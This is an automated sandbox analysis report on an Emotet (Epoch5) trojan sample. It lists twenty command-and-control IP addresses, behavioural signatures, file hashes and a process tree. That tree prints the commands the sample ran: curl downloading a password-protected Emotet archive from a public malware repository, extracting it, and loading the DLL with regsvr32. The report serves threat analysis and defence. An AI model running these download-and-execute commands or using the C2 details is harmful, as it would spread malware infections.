Analysis

  • max time kernel
    145s
  • max time network
    155s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    31/05/2024, 07:34

General

  • Target
    159c8fedb002cf211f16f820bf82be9db65662379c7e75fba5f8fc38cd0090e1.exe
  • Size 57KB
  • Sample240531-jec2eabc81
  • SHA256 159c8fedb002cf211f16f820bf82be9db65662379c7e75fba5f8fc38cd0090e1
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • emotet

Botnet
  • Epoch5

C2
  • 178.238.225.252:8080

  • 139.196.72.155:8080

  • 36.67.23.59:443

  • 103.56.149.105:8080

  • 37.44.244.177:8080

  • 85.25.120.45:8080

  • 202.134.4.210:7080

  • 78.47.204.80:443

  • 83.229.80.93:8080

  • 93.104.209.107:8080

  • 80.211.107.116:8080

  • 165.22.254.236:8080

  • 104.244.79.94:443

  • 185.148.169.10:8080

  • 190.145.8.4:443

  • 175.126.176.79:8080

  • 139.59.80.108:8080

  • 188.165.79.151:443

  • 128.199.217.206:443

  • 64.227.55.231:8080

ecs1.plain
eck1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Loads dropped DLL 3 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 18 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\159c8fedb002cf211f16f820bf82be9db65662379c7e75fba5f8fc38cd0090e1.exe
    "C:\Users\Admin\AppData\Local\Temp\159c8fedb002cf211f16f820bf82be9db65662379c7e75fba5f8fc38cd0090e1.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4000
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c curl -L -o "C:\Users\Admin\AppData\Local\Temp\Emotet-Epoch5.zip" "https://github.com/Princekin/malware-database/raw/main/Emotet/Emotet%20(Epoch5)%20-%2004.11.2022%20.zip" && "C:\Program Files\7-Zip\7z.exe" x "C:\Users\Admin\AppData\Local\Temp\Emotet-Epoch5.zip" -p"infected" -o"C:\Users\Admin\AppData\Local\Temp"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4624
      • C:\Windows\SysWOW64\curl.exe
        curl -L -o "C:\Users\Admin\AppData\Local\Temp\Emotet-Epoch5.zip" "https://github.com/Princekin/malware-database/raw/main/Emotet/Emotet%20(Epoch5)%20-%2004.11.2022%20.zip"
        3⤵
          PID:3616
        • C:\Program Files\7-Zip\7z.exe
          "C:\Program Files\7-Zip\7z.exe" x "C:\Users\Admin\AppData\Local\Temp\Emotet-Epoch5.zip" -p"infected" -o"C:\Users\Admin\AppData\Local\Temp"
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:4616
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c regsvr32.exe "C:\Users\Admin\AppData\Local\Temp\emotet.dll"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:436
        • C:\Windows\SysWOW64\regsvr32.exe
          regsvr32.exe "C:\Users\Admin\AppData\Local\Temp\emotet.dll"
          3⤵
          • Loads dropped DLL
          • Suspicious use of WriteProcessMemory
          PID:1804
          • C:\Windows\system32\regsvr32.exe
            "C:\Users\Admin\AppData\Local\Temp\emotet.dll"
            4⤵
            • Loads dropped DLL
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:2428
            • C:\Windows\system32\regsvr32.exe
              C:\Windows\system32\regsvr32.exe "C:\Windows\system32\FAHJEBxB\dLhVekW.dll"
              5⤵
              • Loads dropped DLL
              • Suspicious behavior: EnumeratesProcesses
              PID:4352
    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=3868 --field-trial-handle=2272,i,4858140932023865871,5726683989663339295,262144 --variations-seed-version /prefetch:8
      1⤵
        PID:5076

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

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            Downloads

            Emotet-Epoch5.zip

            • Path C:\Users\Admin\AppData\Local\Temp\Emotet-Epoch5.zip
            • Size 289KB
            • SHA256 b0353f4547466a0a402198b3750d928fc7c4e96dd3adc00b181e9d98e4602ea7
            • MD5 SHA1 SHA512 SSDEEP

            emotet.dll

            • Path C:\Users\Admin\AppData\Local\Temp\emotet.dll
            • Size 534KB
            • SHA256 b4bead39ead2a29de2f0a6fb52eea172cfe25224b71e4a9b1418f55c8b053d59
            • MD5 SHA1 SHA512 SSDEEP

            memory/2428-9-0x00000000021C0000-0x00000000021F0000-memory.dmp

            memory/2428-13-0x0000000180000000-0x000000018008C000-memory.dmp

            memory/4000-4-0x0000000000AC0000-0x0000000000AD2000-memory.dmp

            memory/4000-5-0x0000000000AC0000-0x0000000000AD2000-memory.dmp